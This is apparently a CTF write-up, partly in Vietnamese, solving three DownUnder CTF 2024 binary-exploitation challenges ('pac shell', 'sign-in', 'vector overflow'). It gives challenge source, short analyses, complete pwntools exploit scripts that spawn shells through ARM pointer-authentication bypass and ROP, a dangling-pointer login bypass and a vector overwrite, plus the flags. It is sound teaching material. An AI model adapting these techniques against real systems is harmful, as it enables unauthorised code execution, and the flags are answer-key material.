# (writeup) Downunder CTF 2024 ## pac shell - basic file check ![image](https://hackmd.io/_uploads/r1b921_wA.png) - source ```c #include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct { char name[8]; void (*fptr)(); } builtin_func; void ls() { system("ls"); } void read64() { unsigned long* addr; printf("read64> "); scanf("%p", &addr); printf("%8lx\n", *addr); } void write64() { unsigned long* addr; unsigned long val; printf("write64> "); scanf("%p %lx", &addr, &val); *addr = val; } void help(); builtin_func BUILTINS[4] = { { .name = "help", .fptr = help }, { .name = "ls", .fptr = ls }, { .name = "read64", .fptr = read64 }, { .name = "write64", .fptr = write64 }, }; void help() { void (*f)(); for(int i = 0; i < 4; i++) { f = BUILTINS[i].fptr; __asm__("paciza %0\n" : "=r"(f) : "r"(f)); printf("%8s: %p\n", BUILTINS[i].name, f); } } int main() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); void (*fptr)() = NULL; puts("Welcome to pac shell v0.0.1"); help(); while(1) { printf("pacsh> "); scanf("%p", &fptr); __asm__("autiza %0\n" : "=r"(fptr) : "r"(fptr)); (*fptr)(); } } ``` ### analyse - arbitrary read and write - leak primitive --> libc, stack - sẽ bị cấn ở khúc `paciza` khi nó là 1 hàm kiểu tạo "chữ kí số" cho 1 địa chỉ và `autiza` là phân giải chữ kí đó ![image](https://hackmd.io/_uploads/ByRIdg_vR.png) > tạo 2 byte đầu tiên ngẫu nhiên cho mỗi lần chạy - và để thực thi đúng gadget của mình, ta cần input đúng cái signature của nó - tận dụng write arbitrary, ta ow địa chỉ gadget ta cần vào BUITINS ![image](https://hackmd.io/_uploads/BkjmYl_v0.png) >cứ ow func nào cũng dc - rồi call **help()** sẽ in ra "chữ kí số đó" ```c void help() { void (*f)(); for(int i = 0; i < 4; i++) { f = BUILTINS[i].fptr; __asm__("paciza %0\n" : "=r"(f) : "r"(f)); // đây nè printf("%8s: %p\n", BUILTINS[i].name, f); } } ``` - việc bây giờ ta chỉ cần ow binsh và system lên stack - rồi kiếm gadget phù hợp trong libc để call - căn chỉnh binsh và system để gadget thực thi hợp lí ### get flag ![image](https://hackmd.io/_uploads/rkqOhy_PC.png) - debug.dbg ```dbg file pacsh_patched set architecture aarch64 target remote :1234 b*main+136 b*main+144 b*main+156 b*read64+60 b*read64+84 b*write64+68 b*write64+72 b*write64+120 c ``` - script: ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('pacsh_patched',checksec=False) libc = ELF('./libc.so.6',checksec=False) context.arch = 'aarch64' # p = process(['qemu-aarch64', '-g' ,'1234' ,'./pacsh']) p = remote('2024.ductf.dev',30027) info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) p.recvuntil(b'v0.0.1\n') p.recvuntil(b'help: ') help_cmd = int(p.recvuntil(b'\n',drop=True),16) p.recvuntil(b'ls: ') ls_cmd = int(p.recvuntil(b'\n',drop=True),16) p.recvuntil(b'read64: ') read_cmd = int(p.recvuntil(b'\n',drop=True),16) p.recvuntil(b'write64: ') write_cmd = int(p.recvuntil(b'\n',drop=True),16) info("help: " + hex(help_cmd)) info("ls: " + hex(ls_cmd)) info("read64: " + hex(read_cmd)) info("write64: " + hex(write_cmd)) exe.address = (help_cmd - exe.sym.help) & 0xffffffffffff puts_got = exe.got.puts context.log_level = 'debug' # raw_input('Debug') def write(addr, val): sla(b'pacsh> ',hex(write_cmd)) sla(b'write64> ', hex(addr).encode() + b' ' + hex(val).encode()) def read(addr): sla(b'pacsh> ',hex(read_cmd)) sla(b'read64> ', hex(addr).encode()) read(puts_got) libc_leak = int(p.recvuntil(b'\n',drop=True),16) libc.address = libc_leak - libc.sym.puts info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) binsh = next(libc.search(b'/bin/sh\0')) system = exe.sym.system mov_x0_x3 = libc.address + 0x0000000000099f40 ldr_x0_sp_0x60_ldp_x29_x30_sp_0x150 = libc.address + 0x00000000000d8854 info("ow: " + hex(ldr_x0_sp_0x60_ldp_x29_x30_sp_0x150)) #change ls -> rop func = exe.sym.BUILTINS+8+0x10 read(libc.sym.environ) stack_leak = int(p.recvuntil(b'\n',drop=True),16) info("stack leak: " + hex(stack_leak)) stack_need = stack_leak - 0x198 + 0x50 need2 = stack_leak - 0x1a0 info("system: " + hex(need2)) info("binsh: " + hex(stack_need)) write(stack_need,binsh) #20e50 write(need2,system) #20f40 write(func, ldr_x0_sp_0x60_ldp_x29_x30_sp_0x150) sla(b'pacsh> ',hex(help_cmd)) p.recvuntil(b'ls: ') cast = int(p.recvuntil(b'\n',drop=True),16) info("cast: " + hex(cast)) sla(b'pacsh> ',hex(cast)) p.interactive() #DUCTF{did_you_just_bruteforce_the_pac?:(} ``` >``DUCTF{did_you_just_bruteforce_the_pac?:(}`` ## sign-in - source ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/random.h> typedef struct { long uid; char username[8]; char password[8]; } user_t; typedef struct user_entry user_entry_t; struct user_entry { user_t* user; user_entry_t* prev; user_entry_t* next; }; user_entry_t user_list; long UID = 1; void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } int menu() { int choice; puts("1. Sign up"); puts("2. Sign in"); puts("3. Remove account"); puts("4. Get shell"); printf("> "); scanf("%d", &choice); return choice; } void sign_up() { user_t* user = malloc(sizeof(user_t)); user_entry_t* entry = malloc(sizeof(user_entry_t)); user->uid = UID++; printf("username: "); read(0, user->username, 8); printf("password: "); read(0, user->password, 8); entry->user = user; user_entry_t* curr = &user_list; while(curr->next) { curr = curr->next; } entry->prev = curr; curr->next = entry; } void remove_account(int uid) { user_entry_t* curr = &user_list; do { if(curr->user->uid == uid) { if(curr->prev) { curr->prev->next = curr->next; } if(curr->next) { curr->next->prev = curr->prev; } free(curr->user); free(curr); break; } curr = curr->next; } while(curr); } long sign_in() { char username[9] = {0}; char password[9] = {0}; printf("username: "); read(0, username, 8); printf("password: "); read(0, password, 8); user_entry_t* curr = &user_list; do { if(memcmp(curr->user->username, username, 8) == 0 && memcmp(curr->user->password, password, 8) == 0) { printf("Logging in as %s\n", username); return curr->user->uid; } curr = curr->next; } while(curr); return -1; } int main() { init(); long uid = -1; user_t root = { .uid = 0, .username = "root", }; if(getrandom(root.password, 8, 0) != 8) { exit(1); } user_list.next = NULL; user_list.prev = NULL; user_list.user = &root; while(1) { int choice = menu(); if(choice == 1) { sign_up(); } else if(choice == 2) { uid = sign_in(); if(uid == -1) { puts("Invalid username or password!"); } } else if(choice == 3) { if(uid == -1) { puts("Please sign in first!"); } else { remove_account(uid); uid = -1; } } else if(choice == 4) { if(uid == 0) { system("/bin/sh"); } else { puts("Please sign in as root first!"); } } else { exit(1); } } } ``` ### analyse - thoả mãn memcmp return true sẽ trả về `return curr->user->uid;` - --> tìm addr trỏ đến 1 addr khác trỏ đến NULL - sign_in với username và psw đều NULL ### get flag ![image](https://hackmd.io/_uploads/H1cXiGOvR.png) - script: ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF("./sign-in") if args.REMOTE: p = remote("2024.ductf.dev", 30022) else: p = process([exe.path]) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*sign_up+232 b*remove_account+122 b*remove_account+134 b*remove_account+167 b*sign_in+207 c ''') input() def sign_up(name, psw): sla(b"> ", b"1") sa(b"username:", name) sa(b"password:", psw) def sign_in(name, psw): sla(b"> ", b"2") sa(b"username:", name) sa(b"password:", psw) def remove(): sla(b"> ", b"3") GDB() sign_up(b'bbbb',p64(0x402eb8)) sign_in(b'bbbb',p64(0x402eb8)) remove() sign_up(b'bbbb',b'bbbb') sign_in(p64(0),p64(0)) sla("> ", "4") #get_shell p.interactive() #DUCTF{welcome_root!_9dbfa98e17b7af9dbc1} ``` >DUCTF{welcome_root!_9dbfa98e17b7af9dbc1} ## vector overflow ![image](https://hackmd.io/_uploads/rJvtv7_PC.png) - script: ```py #!/usr/bin/python3 from pwn import * exe = ELF('./vector_overflow', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x4013eb c ''') input() if args.REMOTE: p = remote('2024.ductf.dev',30013) else: p = process(exe.path) # GDB() payload =b'DUCTF' payload = payload.ljust(0x10,b'\0') payload += p64(exe.sym.buf) + p64(exe.sym.buf+5) p.sendline(payload) p.interactive() #DUCTF{y0u_pwn3d_th4t_vect0r!!} ``` >DUCTF{y0u_pwn3d_th4t_vect0r!!}